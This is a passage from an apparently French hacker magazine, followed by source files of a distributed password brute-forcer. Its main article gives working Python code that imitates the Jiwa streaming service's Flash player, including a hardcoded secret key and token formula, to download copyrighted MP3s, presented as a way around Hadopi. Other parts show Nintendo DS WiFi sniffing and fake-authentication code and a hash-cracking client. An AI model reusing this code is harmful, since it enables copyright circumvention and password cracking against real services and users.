les contenus soumis au droit d'auteur. Toutes 
les mesures doivent être mises en oeuvre 
par les sociétés de diffusion de musique en 
streaming afin d'empêcher ce téléchargement.

La plupart de ces plate-formes ont opté pour un 
lecteur basé sur la technologie Flash d'Adobe 
(tels Deezer et Jiwa par exemple), qui de fait a 
besoin de récupérer le flux audio à diffuser sur 
la machine du visiteur, moyennant une requête 
HTTP (plusieurs même, pour être précis). Il s'agit 
donc d'un téléchargement d'un contenu soumis 
au droit d'auteur réalisé par le programme Flash 
qui est exécuté sur la machine de l'internaute. 
L'internaute télécharge donc en direct-down-
load le contenu soumis au droit d'auteur, mais 
n'est pas en mesure de le sauvegarder car le 
lecteur Flash n'offre pas cette possibilité. Seu-
lement, si le lecteur Flash peut le télécharger, 
alors n'importe qui peut en faire de même. C'est 
justement sur ce point que va porter cet article, 
sur cette hypocrisie généralisée qui régit les so-
ciétés de diffusion de musique en streaming.

Le cas de Jiwa
Jiwa est un service communautaire d'écoute 
de musique en ligne de haute qualité (la mu-
sique, pas la ligne), et comme je le mention-

nais précédemment cette plate-forme intègre 
un lecteur Flash basé sur le principe décrit 
ci-avant. L'avantage de Jiwa par rapport à 
ses concurrents, c'est d'une part son inter-
face et d'autre part la qualité d'encodage des 
morceaux. Ce qui en fait une cible de choix.

Jiwa fournit en plus une interface REST très 
simple à interfacer, qui est appelée par la par-
tie AJAX moyennant quelques vérifications par-
ticulières. Cela peut permettre de rechercher, 
identifier et télécharger des fichiers musicaux 
directement de la base de données du site 
Jiwa, si le comportement du lecteur Flash peut 
être facilement reproduit. La preuve de concept 
que nous allons voir dans cet article cible tout 
particulièrement Jiwa, mais il est très aisé de 
faire de même sur différentes plate-formes.

analyse du service de re-
cherche
Le site web de Jiwa, www.jiwa.fm, met à 
disposition certaines ressources web PHP 
que l'on peut facilement solliciter afin de re-
produire le comportement de l'interface 
de recherche, réalisée en AJAX. L'emploi 
d'un simple proxy local tel que Paros [PA-
ROS] peut aider à identifier cette ressource.
L'URI autorisant la recherche dans la base 
de données Jiwa est /track/search dispo-

nible sur le site www.jiwa.fmet prends quatre 
arguments obligatoires, et un optionnel:

q: mots clefs employés pour la recherche
spellcheck: vérification orthographique, peut 
être désactivée(0)/activée(1)
inc: type de média annexes (par défaut: "artist 
video")
limit: nombre de résultats maximum (25)
start: argument optionnel précisant le résultat 
de départ

Le résultat se présente sous la forme d'un 
texte au format JSON, renvoyé par le serveur. 
Le format retourné respecte cette structure:

{
"page":[
{n
"trackId":3052776,
"songId":2184827,
"songName":"Uprising",
"artistId":2339,
"artistName":"Muse",
"secArtistsNames":null,
"secArtistsNames":null,
"albumId":330413,
"albumName":"The Resistance",
"songPopularity":945000,
"itunesTrackUrl":null,

: 
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Il est donc facile d'implémenter une routine en 
python pour effectuer automatiquement la re-
cherche:

Cette fonction retourne un tableau associatif 
correspondant aux résultats de la recherche. 
A aucun moment le site ne vérifie la prove-
nance de la requête, qui ne devrait être ac-
cessible que par le composant AJAX. A noter 
que l'apparition de l'en-tête "X-Requested-
With" est relativement récente sur la plate-
forme de Jiwa, et vise à empêcher l'accès di-
rect au service, mais est loin d'être suffisante.

"albumReleaseDate": "2009-01-01",
"duration":"20",
"hidden":"0",
"sourceId":"1"
},
[...]
],
"total":1272,
"min":0,
"max":25,
"pageSize":25,
"success":true
}

 
def lookup(keywords):
  p = urllib.urlencode({
  'q':str(keywords),
  'spellcheck':'1',
  'inc':'artist video',
  'limit':'15',
  })
  r = httplib.HTTPConnection('jiwa.fm:80')
  r.putrequest('POST','/track/search') 
  r.putheader('Host','jiwa.fm:80')
  r.putheader('User-Agent','Mozilla/5.0 (Windows) Firefox/3.0.8')

[suite du code dans le cadre supérieur droit]

: 

 
  r.putheader('Content-Type','application/x-www-form-urlencoded')
  r.putheader('Content-Length',str(len(p)))
  r.putheader('X-Requested-With','XMLHTTPRequest')
  r.endheaders()
  r.send(p)
  found = r.getresponse().read()
  if len(found)>0:
    found = json.read(found)
    tracks = found['page']
    output = []
    for track in tracks:
      _t = {}
      _t['song'] = track['songName'].replace('\n',' ')
      _t['artist'] = track['artistName']
      _t['sid'] = track['songId']
      _t['tid'] = track['trackId']
      output.append(_t)
      return output
  else:
    return []
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A chaque titre musical est associé un groupe 
d'informations, le songId et le trackId, qui iden-
tifient de manière unique le titre dans la base 
de données de Jiwa. Ces deux données vont 
être essentielles au lecteur Flash afin que celui-
ci puisse indiquer au serveur de média le ou les 
titres que l'utilisateur souhaite écouter. Ce qui 
va provoquer, je le rappelle, le téléchargement 
de ces médias sur la machine de l'utilisateur.

analyse du téléchargement du 
fichier
Le système de téléchargement de jiwa est un 
grand classique, avec une petite touche de sé-
curité. Pour télécharger, le lecteur va deman-
der au site de lui attribuer un jeton ("token"), 
qui ne sera valable que pour une adresse et un 
titre musical défini. Ce jeton est récupéré en-
core une fois par le lecteur Flash en faisant une 
requête toute particulière sur la page /token.
php sur le serveur web m.jiwa.fm (ce serveur 
héberge le contenu multimédia, et est différent 
du serveur web hébergeant l'application Jiwa).

Cette requête accepte un seul argument en-
voyé par la méthode POST, s, correspondant au 
songId. La requête retourne ensuite une chaîne 
de caractère bien bizarre, qui ressemble à ceci:

 Ce jeton n'est en fait qu'un ensemble de va-
leurs distinctes, séparées par plusieurs carac-
tères "=". Ce jeton est récupéré par le lecteur 
Flash, qui lui applique ensuite une transforma-
tion spéciale qui emploie une clef secrète, stoc-
kée en dur dans le code Flash. On note TX les 
différentes portions du token (séparés par des 
caractères "="), avec X commencant par zéro.

La valeur magic présente dans la formule est 
la clef secrète stockée dans le lecteur Flash. 
Cette clef ainsi que l'algorithme de calcul n'ont 
pu être trouvés qu'en désassemblant l'applica-
tif Flash, à l'aide de Sothink SWF Decompiler 
[SWF]. La valeur obtenue, clef, devra être pas-
sée en paramètre à la page permettant le télé-
chargement direct du contenu multimédia.

Cette page est accessible par l'URI /play.php du 
serveur m.jiwa.fm, et accepte cinq paramètres 
envoyés par la méthode GET (via l'url):

r = T1
s = songId
t = clef

m = T3
from = 0

Elle fournit au téléchargement un fichier au for-
mat MP3 taggé, qu'il est alors très facile de sau-
vegarder. Cette opération peut être implémenté 
en python, comme ceci:

 02927b230e7e9887585793693de750ee=42218325=0=402958=365: 

 magic = "gwqd29ydg7sqys_qsh0"
 clef = MD5(T0+MD5(magic) +songId): 

 def dlTrack (sid,tid,token,file):
   _t = token.split('=')
   url = 'http://m.jiwa.fm/play.php'
   l1 = 'gwqd29ydg7sqys_qsh0'
   l3 = _t[0]
   l4 = _t[1]
   l5 = _t[2]
   l6 = _t[3]
   l7 = md5.new(l1).hexdigest()
   l8 = md5.new(l3+l7+str(sid))
   l8 = l8.hexdigest()
   url = "%s?r=%s" % (url,l4)
   url += "&s=%s" % str(sid)
   url += "&t=%s" % l8
   url += "&m=%s" % l6
   url += "&from=0"
   r = HTTPConnection('m.jiwa.fm:80')
   r.putrequest('GET',url)
   r.putheader('Host','m.jiwa.fm:80')
   [...]
   r.endheaders()
   r.send('')
   token = r.getresponse().read()
   f = open(file,'wb')
   f.write(token)
   f.close()

: 
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Les routines évoquées précédemment peu-
vent être retrouvées dans la preuve de concept 
jointe à cet article, ainsi que dans l'extension 
Firefox dédiée iJaw [IJAW] (compatible Firefox 
2/3.X).

Streaming 1 – 0 Hadopi
Les plate-formes qui pratiquent la transmission 
de médias via des clients Flash le font princi-
palement pour des raisons de coût, mais aussi 
de compatibilité, la technologie Flash d'Adobe 
étant très répandue et supportée sur un grand 
nombre de plate-formes. Cependant, elles 
sacrifient la compatibilité et l'abordabilité de 
cette technologie à la sécurité des transmis-
sions. Deezer a pris les devants en passant 
ses contenus au format Flash Video (FLV) et 
en tronquant ses fichiers, rendant le support 

non-utilisable tel quel. MusicMe emploie quant 
à elle du véritable streaming audio, procédé par 
lequel le serveur envoie directement au lecteur 
Flash les données à jouer sur la carte son, s'af-
franchissant ainsi de tout format de stockage et 
ajoutant une certaine complexité pour la récu-
pération du contenu.

Car ce qui rend les plates-formes comme Jiwa 
vulnérables, c'est bien la déconcertante facilité 
à télécharger des contenus qu'elles diffusent, 
moyennant de simples programmes comme 
TubeMaster ou comme nous l'avons vu ici, de 
simples scripts en python. Cette simplicité est 
désormais une alternative viable à la loi Hado-
pi, car permettant le téléchargement direct de 
contenus musicaux et sans possibilité de détec-
tion, les outils de téléchargement reproduisant 
à l'identique le comportement du lecteur Flash. 
A moins de filtrer tout le net, le direct-download 
a encore de beaux jours devant lui.

Conclusion

Bon nombre de programmes ont été dévelop-
pés, qui emploient notamment la technique 
explicitée dans cet article pour télécharger en 
toute impunité du contenu à partir des sites de 
streaming. Mais le point le plus cocasse dans 
cette histoire concerne les contrats signés 

par les sociétés possédant les plates-formes 
d'écoute en ligne, qui stipulent que le télé-
chargement est interdit, alors qu'il n'existe pas 
d'autre moyens techniques pour acheminer les 
données audio jusqu'à la machine de l'auditeur.

Autre point important, les producteurs et asso-
ciations liés au milieu musical ponctionnent pas 
moins de cinquante pour cent des recettes pu-
blicitaires, moteur actuel de ces plates-formes 
de diffusion en ligne, ce qui en fait un modèle 
économique qui tient à un fil.

Lectures complémentaires:
http://blog.lefigaro.fr/technotes/2009/10/
quand-le-p2p-seffondre-hadopi-devient-ineffi-
cace.html

 http://www.lepost.fr/ar-
ticle/2009/02/12/1421515_quand-deezer-a-
besoin-de-rassurer-l-industrie-musicale.html 

références:
 [PAROS]
http://www.parosproxy.org/

 [SWF] 
http://www.sothink.com/product/flashdecom-
piler/

[IJAW]
http://virtualabs.fr/spip.php?article21/

Hadopi ... raté !

Hadopi a récemment été victime d'un nou-
veau buzz. En effet, il s'avère qu'une esquisse 
du logo d'Hadopi ait été très largement repris 
d'une police de caractères privée de France 
Télécom. Les défenseurs de la propriété in-
télectuelle pris à leur propre piège...

WTF ?!
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introduction
Le WiFi est présent nativement 
dans la console DS de Nintendo, 
mais aucun environnement de 
développement n'intégrait ce sys-
tème, faute de compréhension du 
fonctionnement du firmware de la 
DS. Jusqu'à ce que Stephen Stair 
mette à profit ses talents de re-
verse-engineer afin de comprendre 
le fonctionnement du WiFi sur la 
DS et développe un driver sup-
portant le dialogue avec le chipset 
WiFi, et par la même occasion une 
gestion de pile TCP/IP intégrée. 
Un boulot énorme, qui a été ré-
compensé par un prix de 10.000$.
C'est ce driver qui va nous servir 
de base pour mener des attaques 
sur des réseaux sans-fil. L'en-
semble des codes sources pré-
sents dans cet article proviennent 
de l'utilitaire DShark, un scanner 
WiFi pour Nintendo DS, dont les 
sources sont fournies en annexe.

Driver Wifi & sniffing
Le driver développé par S. Stair 
possède diverses fonctionnali-
tés, dont notamment celle de 
connexion aux réseaux sans-fil 
chiffrés, mais aussi une fonction-
nalité de sniffing. Cette fonction-
nalité de sniffing est particulière, 
car le firmware de la console ef-
fectue un filtrage drastique des pa-
quets 802.11, n'autorisant pas (en 
l'état des connaissances actuelles) 
l'interception de paquets à des-
tination d'autres adresses MACs 
que celles du chipset et l'adressse 
de broadcast. Autrement dit, il 
faut abandonner pour le moment 
l'idée de casser des clefs WEP avec 
une console DS, mais certaines 
autres attaques restent possibles: 
la détection de points d'accès 
par exemple, ainsi que l'attaque 
dite de "fake authentication".

SNiFFer POrtaBLe 
Sur NiNteNDO DS

par Virtualabs

Nous avons vu dans un précédent numéro comment développer sur 
la console DS de Nintendo, et nous avons explicité la création d'un 
générateur de faux points d'accès. Dans ce second article concernant 
cette console, nous allons voir comment sniffer le réseau, et com-
ment réaliser différentes attaques classiques sur des réseaux wireless.
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La DS est basée sur deux processeurs: un pro-
cesseur ARM7, en charge de la gestion de l'in-
teraction entre l'utilisateur et la console (inte-
raction matérielle seulement: manipulation de 
stylet, etc ...) ainsi que la gestion du chipset 
WiFi, et un processeur ARM9 qui s'occupe de 
la partie interface graphique (2D et 3D). Au-
trement dit, il faut faire cohabiter un code pour 
l'ARM7, et un autre pour l'ARM9, le premier étant 
en charge du WiFi (la partie "driver") et l'autre 
étant en charge de la gestion des informa-
tions retournées par le premier, et notamment 
de l'affichage à l'écran de ces informations.

Détection des points d'accès
La détection des points d'accès WiFi est four-
nie de base dans la bibliothèque de fonc-
tions créée par S. Stair, dswifi (incluse dé-
sormais dans le kit de développement 
devkitpro [1] ), il s'agit donc ici que d'une 
utilisation standard de cette bibliothèque.

Chaque point d'accès diffuse sur tous les ca-
naux (1 à 13 en Europe) une information si-
gnalant leur présence: un beacon. Cette in-
formation, qui est en réalité un paquet 802.11 

complet, contient toutes les informa-
tions nécessaires pour identifier le 
point d'accès et pour s'y connec-
ter: taux de trasfert acceptés, 
MAC/BSSID (Basic Service Set 

Identifier), ESSID, ... Ce beacon est envoyé 
sur l'adresse MAC de broadcast, le firmware de 
la DS ne filtrera pas ce type de paquet, et le 
pseudo-driver pourra récupérer l'information.

Nous avons donc développé, en C++, un bout de 
code initialisant le WiFi et effectuant la capture 
des beacons, présenté dans le listing ci-dessous.
La classe WiFi est implémentée en tant que sin-
gleton, afin de centraliser toutes les routines 
concernant la gestion du WiFi. Elle possède no-
tamment deux méthodes, Start() et Snapshot(). 

La première démarre le système WiFi tan-
dis que la seconde prend un instantané des 
points d'accès détectés par le driver. En re-
gardant le code du driver, on peut facilement 
identifier la routine détectant les beacons.

void Wifi::Snapshot()
{
[...]
/* Update wifi */
Update();

/* Look for ap's */
nap = Wifi_GetNumAP();
for (i=0;i<nap;i++) {
 if(WIFI_RETURN_OK!=Wifi_GetAPData(i,&ap)) continue;
 for (i=0;i<(int)m_ap_cache.size();i++) {
  if (*m_ap_cache[i]==ap.bssid)
  {
   m_ap_cache[i]->Update(ap.ssid, ap.channel, ap.rssi);
   break;
  }
 }
 if (i==(int)m_ap_cache.size()) {
  wap = new WifiAP((const char *)ap.ssid,(const char *)ap.bssid,ap.
channel,ap.rssi,ap.flags);
  m_ap_cache.push_back(wap);
  }
 }
} 

: 
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La détection des 
points d'accès WiFi est fournie 

de base



Détection des stations asso-
ciées
La détection des stations associées peut être 
réalisée grâce à la capture d'un autre type de 
paquet, bien différent des beacons, les probe 
requests. Ces paquets sont envoyés régulière-
ment par les stations associées sur différents 
canaux afin de détecter de possibles autres 
points d'accès remplissant les même critères, 
mais étant plus proches. En détectant ces pa-
quets, nous sommes en mesure d'inférer que 
la station est probablement associée à un point 
d'accès particulier, ou du moins qu'elle cherche à 
le joindre. La capture et le traitement des probe 
requests est laissé non pas au driver, mais à une 
méthode de rappel (callback method) définie 
dans un autre module (sur l'ARM9 notamment) 
et référencée dans le driver comme Listener. 
Un Listener est un objet qui est à l'écoute d'un 
ou plusieurs évènements gérés par une classe, 
et qui s'enregistre auprès de celle-ci pour être 
notifié de l'apparition de ces évènements.

Nous pouvons récupérer à partir des probe 
requests les MACs des stations associées, par 
rapport à un ESSID. Cela permet aussi de détecter 
les points d'accès ne broadcastant pas leurs ES-
SID, les clients nous renseignant à leur place =).
Avec ces informations, d'autres nouvelles 
attaques sont possibles. Parmi elles, l'at-
taque dite de "Fake authentication".

Ce bout de code vérifie si le paquet reçu est 
un beacon, et si oui récupère les infos de ce 
paquet et l'ajoute dans un cache. Ce cache 
est ensuite consultable par le code s'exé-
cutant sur l'ARM9. C'est notamment ce que 
réalise la méthide Snapshot() de la classe 
WiFi. L'interface ne fait ensuite que consul-
ter le cache reconstruit dans la classe WiFi, 
pour afficher les différents points d'accès.

int Wifi_ProcessReceivedFrame(int macbase, int framelen) {
Wifi_RxHeader packetheader;
u16 control_802;

Wifi_MACCopy((u16 *)&packetheader,macbase,0,12);

control_802=Wifi_MACRead(macbase,12);
switch((control_802>>2)&0x3F) {
  // Management Frames
  case 0x20: // 1000 00 Beacon
  case 0x14: // 0101 00 Probe Response // process probe responses too.
  // mine data from the beacon...
  {
   [...]
   // capability info (wep)
   if(((u16 *)data)[5+12]&0x0010) { // capability info, WEP bit
   wepmode=1;
  }
  [...]
}
if(((control_802>>2)&0x3F)==0x14)
 return WFLAG_PACKET_MGT;
return WFLAG_PACKET_BEACON;
[...]

: 

Ph33rbot WPa/PSK Cracker

Ce nouveau service vous permet de ten-
ter de cracker votre capture de handshake 
WPA/PSK via une attaque par dictionnaire. 
Coûtant 10$ seulement, ce service utilise un 
dictionnaire de près de 6 Go totalisant 540 
millions d'entrées. http://ph33rbot.com/
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Conclusion
Les possibilités de la console DS de Nintendo 
sont toutefois limitées, car ne permettant pas 
la capture de tout type de paquet (ce qui per-
mettrait dans ce cas de casser des clefs WEP, la 
console supportant très bien l'injection). Néan-
moins, elle reste un formidable outil portable, 
qui peut faciliter l'analyse de réseaux sans-fil, 
et récupérer de l'information. Il est aussi pos-
sible de récupérer les ESSID des points d'accès 
ne broadcastant pas de beacon, mais cela sera 
peut-être le sujet d'un prochain article sur la DS. 
En attendant, les sources de l'utilitaire Dshark 
étant fournies avec cet article, vous devriez avoir 
de la lecture pour les longues soirées d'hiver.

références:
 
[1] http://www.devkitpro.org - Le framework 
Devkitpro

Liens utiles:
http://www.akkit.org/ - Site de Stephen Stair
http://dswifi.1emulation.com/ - Forum dédié à 
la bibliothèque DSWifi

Cette attaque a été implémentée dans le dri-
ver, bien qu'elle ne soit pas utilisée dans l'in-
terface principale. Elle est réalisée par le code 
page suivante (le code a été tronqué pour des 
raisons évidentes de mise en page, NDLR).

Une grande partie de ce code est adapté de 
ce qu'a réalisé S. Stair, et je tiens tout parti-
culièrement à le remercier d'une part pour le 
travail énormissime qu'il a fourni, et d'autre 
part pour l'aide qu'il m'a apporté lors du dé-
veloppement de cet outil qu'est Dshark.

Fake authentication
Avant de réaliser l'association à un point 
d'accès, le périphérique sans-fil doit se faire 
connaître de celui-ci, et il réalise pour cela 
une phase d'authentification qui se déroule en 
deux étapes. La première consiste à déclarer 
l'adresse MAC auprès du point d'accès. Si un 
filtrage MAC est présent, cette première étape 
n'aboutira pas. La suite est relativement simple: 
il suffit d'envoyer une demande "d'associa-
tion", qui si elle aboutit, autorise le périphé-
rique sans-fil à dialoguer avec le point d'accès.

int Wifi_DoFakeAuth(int macbase, int framelen) {
Wifi_RxHeader packetheader;
u16 control_802;
Wifi_MACCopy((u16 *)&packetheader,macbase,0,12);
control_802=Wifi_MACRead(macbase,12);
switch((control_802>>2)&0x3F) {
[...]
case 0x2C: {
[...]
  if(((u16 *)(data+24))[2]==0) { //status code successful
    WifiData->is_auth = 1;
    Wifi_SendAssocPacket();
  }
  else {
  if (WifiData->fa_tries++<20)
   Wifi_SendOpenSystemAuthPacket();
  else
   WifiData->is_auth = -1;
  }
}
break;
[...]

: 
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Futur exPOSeD
Iot-Record

FUTURE EXPOSED, la BD. Suite du second numéro
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Opération «aurora»: la 
Chine en ligne de mire 
(par Heurs)

Et oui, ce n'est un scoop pour personne, la 
chine a pour habitude de voler les informa-

tions confidentielles de ses concurrents (autre-
ment dit, tout le monde). En effet, en décembre 
dernier nous avons eu le droit à un exemple 
spectaculaire du genre. Google s'est fait atta-
quer[1] par un groupe de pirates chinois, lors 
de l'opération baptisée « Aurora »[2] . Pour 
l'occasion, deux exploits ont été utilisés, deux 
zero-day et des backdoors indétectables (ou 
presque). Une préparation professionnelle pour 
une attaque très précise et ciblée. De plus, ces 
charges malveillantes ont été placés sur des 
sites officiels chinois, ce qui autorise la suspi-
cion du gouvernement.

Dans les faits, de faux courriels ont été envoyés 
à des employés de Google, incitant les victimes 
à consulter un site chinois. Ce site était, comme 
vous avez dû le deviner, piégé par les deux 

exploits. Le premier exploitait une faille sur 
Adobe Reader et le second sur Internet Explo-
rer. Ces exploits téléchargeaient un programme 
(backdoor) qui permettait de donner la main à 
distance sur les ordinateurs des victimes.  L’at-
taque est relativement simple mais a demandé 
de mettre en place une organisation bien défi-
nie, des recherches de vulnérabilités poussées 
et du coding de malware lui aussi assez poussé. 
Comme vous pouvez l’imaginer, mettre en place 
ce scénario demande du temps, de l’argent et 
de la plannification très précise, nous pouvons 
donc probablement écarter la thèse du grou-
puscule de hackers anarchiques.

La tournure que prend cet événement est pour 
le moins inquiétante, Hilary Clinton (Secretaire 
d'Etat des Etats Unis) demande des explica-
tions au gouvernement chinois. Google lui aussi 
soupçonne très fortement la Chine d’avoir me-
née l’attaque, cette position pouvant mener à 
une coupure totale du réseau Google en Chine, 
voire à la suppression de la censure. D’après 
un expert en sécurité cité par le Washington 
Post[3]  , « les cibles visées reflètent directe-

ment les priorités du gouvernement chinois 
». Pour le coup, Google a perdu des données 
confidentielles et risque de garder longtemps 
un arrière gout assez amer de cet incident.

En conclusion, les chinois du FBI sont dans le 
coup ça c’est sûr, il reste à voir ce que don-
nera la suite des négociations entre Google et 
la Chine. 

all your iP are belong 
to us  (par virtualabs)

Ce qui nous pendait au nez ne va pas tarder 
à se produire. Non, je ne parle pas de la fin 

du monde en 2012, mais bel et bien de la fin des 
IP sur 4 octets. En effet, la NRO (Number Re-
source Organization) tire la sonnette d'alarme. 
En effet, il ne resterait que 10% des adresses 
IP adressables de disponible, de quoi faire de 
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la peur. Non, ce n'est pas forcément la faute 
aux Chinois, non ce n'est pas non plus grâce 
à Chuck Norris que cela s'est produit, cela est 
plutôt  une conséquence de l'expansion des 
terminaux mobiles tels que les Smartphones.
Il va donc falloir penser sérieusement à passer 
à la version 6 du protocole IP, afin de ne pas 
se retrouver face à un message du type « sans 
IP de disponible actuellement ». Et trouver des 
FAIs qui ont déjà franchi le pas, comme Free 
ou Nerim. 

La vie privée ? Privée 
de quoi ? (par virtualabs)

La CNIL aura beau dire, les habitudes des in-
ternautes en matière de vie privée ont bien 

évoluées depuis le début de l'Internet. Cer-
tains, comme Mark Zuckerberg (PDG de Face-
book), estiment qu'il s'agit là d"une « nouvelle 
norme sociale » instaurée par les internautes 
eux-même et que désormais la vie privée ne 
l'est plus tellement. Car nombreux sont ceux 
qui affichent sur Facebook, LinkedIn, ou en-
core Twitter leurs moindres déboires, leurs 
moindres méandres de vie à coups de photos 
ou de commentaires. Certes, la machine à bul-
ler favorise ce type de comportement, mais ce 
n'est vraiment pas nouveau: rappelez-vous les 
bons vieux « skyblogs » où les wesh-kikoo-
lolz adoraient répandre leurs petites vies (et 

le « lâchage de comms » qui était de mise). 
Néanmoins, considérer la vie privée des utili-
sateurs comme beaucoup moins privée, cela 
peut être problématique. Surtout quand on 
ne sait pas, mais alors pas du tout ce qui est 
fait des données personnelles stockées par ces 
mastodontes du social. Et cela est aussi va-
lable pour le nouveau géant Google, qui col-
lectionne bon nombre de données grâce à ses 
services Analytics, GMail, Wave, sans parler de 
son projet de bibliothèque numérique qui fait 
déjà trembler les gouvernements européens. 
Il faut avouer qu'il est relativement facile d'ajou-
ter du contenu personnel sur Internet, mais 
que le retirer est dix, voire cent fois plus diffi-
cile. Les plus paranoïaques d'entre vous n'ont 
certainement pas oublié que les moteurs de re-
cherche gardent en cache des millions d'infor-
mations, et que dans certains pays, certaines 
lois peuvent autoriser des agences gouverne-
mentales à accéder aux données stockées. Et 
potentiellement essayer de trouver le terroriste 
qui se cache en vous. Et de vous maudir ainsi 
que toute votre famille pour des décennies.

Réfléchissez-y à deux fois avant de donner 
des informations sur vous. N'oubliez pas non 
plus que les applications utilisant l'authentifi-
cation via un compte Facebook ont un accès 
sans limites à vos informations. Big brother a 
encore de beaux jours devant lui, et les inter-
nautes vont l'aider de plus en plus, semble-t-il.

10 principes de vie privée sur 
Facebook

Certains sites permettent de vous y loguer en 
utilisant votre compte Facebook. Saviez-vous 
que dès lors, ceux-ci ont accès à toutes vos 
informations personnelles telles que photos, 
vidéos, groupes et événements, et que vous 
n'avez aucun contrôle sur ces permissions ?
Retrouvez les autres grands principes de vie 
privée sur ce blog qui risque de vous faire 
réfléchir avant de poster n'importe quoi sur 
votre profil ;).

http://theharmonyguy.com/2009/12/28/10-
basic-concepts-of-facebook-privacy/

Gmail maintenant en HttPS par 
défaut

La connexion à Gmail se fait désormais 
automatiquement en utilisant HTTPS, à 
moins de l'avoir désactivé manuellement. 
Ainsi, les personnes se lisant leurs mails 
depuis un point d'accès Wifi ouvert 
ne diffuseront plus leurs informations 
personnelles en clair sur le réseau.
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Voici les principaux conseils à retenir
• Utilisez le format Open Document (odt) qui permet de conserver l'en-

codage et bon nombre de choses (bien que les txt oldschool soient 
acceptés).

• Faites un titre lisible, un chapeau (l'introduction de votre article en 
quelques lignes), et une annexe des références pour les liens si be-
soin.

• Evitez de rédiger à la première personne, préférez le « nous » qui est 
plus impersonnel, et permet d'embarquer le lecteur dans votre article.

• Le style de rédaction joue aussi un rôle important lors de la sélection 
des articles, aussi veillez à éviter les fautes de français et de gram-
maire, ainsi qu'à la cohérence des phrases. Tout bon traitement de 
texte actuel intègre ne serait-ce qu'un correcteur orthographique, 
faites-en bon usage !

• Evitez les décorations, les mises en pages et tout ce qui serait sus-
ceptible d'être supprimé sur la maquette finale.

• Découper au maximum vos codes pour en expliquer le contenu ou 
mettez les en annexe de votre article en les commentant.

• Toute illustration accompagnant l'article doit être jointe en tant que 
fichier image. Les formats sans perte (PNG, BMP, etc...) haute réso-
lution sont vivement recommandés. Indiquez juste dans le texte de 
votre article les noms des fichiers images à intégrer, à l'endroit que 
vous souhaitez.

Une fois votre article prêt et relu vous pouvez l'envoyer à 
redaction@hackerzvoice.net si vous êtes sûr de vous, ou bien sur 
alias@hackerzvoice.net si vous voulez l'avis du rédacteur en chef.
Tenez vous informé également auprès de lui si vous voulez éviter les dou-
blons d'article, un simple e-mail avec le sommaire de votre article suffira. ;)

Points HZVCONtriB'

HZVCONTRIB' est un système qui permettra à tous les participants des 
prochains numéros de collecter des points pour acquérir par la suite, 
matériels informatiques, livres ou formations offert par nos partenaires 
ou par HZV. 
 
Chaque participant reçoit un nombre de point en fonction de différent 
aspect de son travail :

• Qualité de l'information
• Qualité de la rédaction
• Pédagogie de l'article
• Taille de l'article
• Fréquence de ses publications & Ancienneté
• Appréciation générale (qualité des pièces fournies à la rédaction, 

aide sur le site...)

Les points HZVCONTRIB' sont automatiquement activés lors d'une 
contribution.
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DistributedPasswordBruteForcer-x86/client/BruteForcePass.cpp

#include "BruteForcePass.h"
#include "Client.h"


BruteForcePass::BruteForcePass(BruteForcePassParam* p){
	this->parameters=p;
	this->job=new Job();
	this->found=false;
	this->is_running=false;
}


BruteForcePass::~BruteForcePass(){
	destroy_Hash(this->build_hash);
	dlclose(lib_handle);
	this->exitThread();
	delete this;
}


void BruteForcePass::loadSharedModule() {
	lib_handle = dlopen(MODULE_NAME, RTLD_LAZY);
	if (!lib_handle) cerr << "Cannot load library: " << dlerror() << endl;
	create_Hash = (create_t*) dlsym(lib_handle, "create");
	const char* dlsym_error = dlerror();
	if (errno !=0 && dlsym_error) cerr << "Cannot load symbol create: " << dlsym_error << endl;
	destroy_Hash = (destroy_t*) dlsym(lib_handle, "destroy");
	dlsym_error = dlerror();
	if (errno !=0 && dlsym_error) cerr << "Cannot load symbol destroy: " << dlsym_error << endl;
	this->build_hash = create_Hash();
}


void BruteForcePass::createThread() {
	this->is_running=true;
	this->crackPass(this->job->begin);
	this->is_running=false;
	this->exitThread();
}

void BruteForcePass::crackPass(string str){
	int current_size=str.length();
	if (found==true || current_size>parameters->max_size) return;
	for (int idx=0;idx<parameters->chars_allowed_length;idx++){
		string tmp=str+parameters->chars_allowed[idx];
		crackPass(tmp);
	}
	if (current_size>=parameters->min_size) {
		this->build_hash->Compute(str);
// 		cout << str << "=" << this->build_hash->hash << endl;
		if ( this->build_hash->hash == parameters->hash_to_hack) {
			result=str;
			found=true;
			is_running=false;
		}
	}
}
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DistributedPasswordBruteForcer-x86/client/BruteForcePass.h

#ifndef BruteForcePass_class
#define BruteForcePass_class

#include "BruteForcePassParam.h"
#include "Hash.h"
#include "../lib/Job.h"
#include "../lib/Thread.cpp"

using namespace std;

class BruteForcePassParam;

class BruteForcePass : public Thread {

	public:
		string result;
		bool found;
		bool is_running;

		Hash* build_hash;
		Job* job;
		BruteForcePassParam* parameters;
		void* lib_handle;
		create_t* create_Hash;
		destroy_t* destroy_Hash;


		BruteForcePass(BruteForcePassParam*);
		~BruteForcePass();

		virtual void createThread();
		inline void crackPass(string);
		void loadSharedModule();
};

#endif
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DistributedPasswordBruteForcer-x86/client/BruteForcePassParam.cpp

#include "BruteForcePassParam.h"

BruteForcePassParam::BruteForcePassParam(){
}


BruteForcePassParam::~BruteForcePassParam(){

	delete this;
}
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DistributedPasswordBruteForcer-x86/client/BruteForcePassParam.h

#ifndef BruteForcePassParam_class
#define BruteForcePassParam_class



#include <cstdlib>
#include <iostream>

#ifdef WIN32
	#ifndef _DLFCN_WIN32_H
		#define _DLFCN_WIN32_H
		#ifdef _WIN32
			#define WIN32_LEAN_AND_MEAN
			#include <windows.h>
			#include <errno.h>
			#define dlopen(P,G) (void*)LoadLibrary(P)
			#define dlsym(D,F) (void*)GetProcAddress((HMODULE)(D),(F))
			#define dlclose(D) FreeLibrary((HMODULE)(D))
			__inline const char* dlerror() {
				static char szMsgBuf[256];
				FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,NULL,GetLastError(),MAKELANGID(LANG_NEUTRAL,SUBLANG_DEFAULT),szMsgBuf,sizeof szMsgBuf,NULL);
				return szMsgBuf;
			}
		#endif /* _WIN32 */
	
	#endif /* _DLFCN_WIN32_H */

	#define sleep(seconds) Sleep((seconds)*1000)
#else
	#include <dlfcn.h>
#endif

#define MODULE_NAME "./module.rx.so"


using namespace std;


class BruteForcePassParam {

	public:
		string chars_allowed;
		int chars_allowed_length;
		int min_size;
		int max_size;
		string hash_to_hack;


		BruteForcePassParam();
		~BruteForcePassParam();
};



#endif
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#include "Client.h"


Client::Client(string h, int p){

	this->is_running=true;
	this->host=h;
	this->port=p;
	this->rx="";
	this->tx="";
	this->parameters=new BruteForcePassParam();

